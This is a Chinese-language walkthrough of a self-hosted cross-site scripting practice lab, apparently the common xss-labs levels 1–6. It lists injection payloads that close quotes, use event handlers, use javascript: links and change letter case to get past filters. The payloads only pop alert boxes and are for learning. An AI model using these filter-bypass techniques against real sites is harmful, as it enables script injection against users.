环境自己搭建~~好嚣张:
1.http://127.0.0.1:8024/xss/level1.php?name=test 这是URL 看到后面name有参数传递,不多想直接尝试xss。
没有任何过滤。
payload :http://127.0.0.1:8024/xss/level1.php?name=<script>alert('xss')</script>
2.http://127.0.0.1:8024/xss/level2.php?keyword=test 和上题差不多的URL 直接换参数
发现没有成功,那就只有看源代码了。看看做了什么过滤之类的
发现payload在value中没有生效,构造payload : " > <script>alert('xss')</script> id=" 使用(">)把前面的闭合 然后在后面可以加一个空id 或者payload : " > <script>alert('xss')</script> // 最后加//把后面的双引号注释掉即可。:
或者使用payload : " onclick=alert(1) id=" 然后点击一下文本框也可以
3.直接在文本框输出尝试,发现不能成功。然后查看源代码:
直接构造payload :单引号闭合 ,使用on事件。 payload:' onclick=alert(1) // 这里对<>做了过滤。
4. 直接插入尝试,失败。查看源代码:
发现对<>没有了 做了转译。直接构造payload :" onclick=alert(1) //
或者使用 onmouseover 函数 ,payload : " onmouseover=alert(1) //
5. 直接插入尝试,失败。查看源代码:
出来双引号还过滤了 script 变成了 scr_ipt 。使用on事件尝试,发现也过滤了on事件, on 变成了 o_n。
这里利用Javascript伪协议 直接构造payload:" > <a href=javascript:alert(1)> //
6.<script>尝试 ,查看源代码:
出来双引号还过滤了 script 变成了 scr_ipt 。使用on事件尝试,发现也过滤了on事件, on 变成了 o_n。 使用Javascript伪协议 发现 href 变成了 hr_ef 。src 也过滤了。
构造payload 尝试绕过,大小写。payload: " Onclick=alert(1) //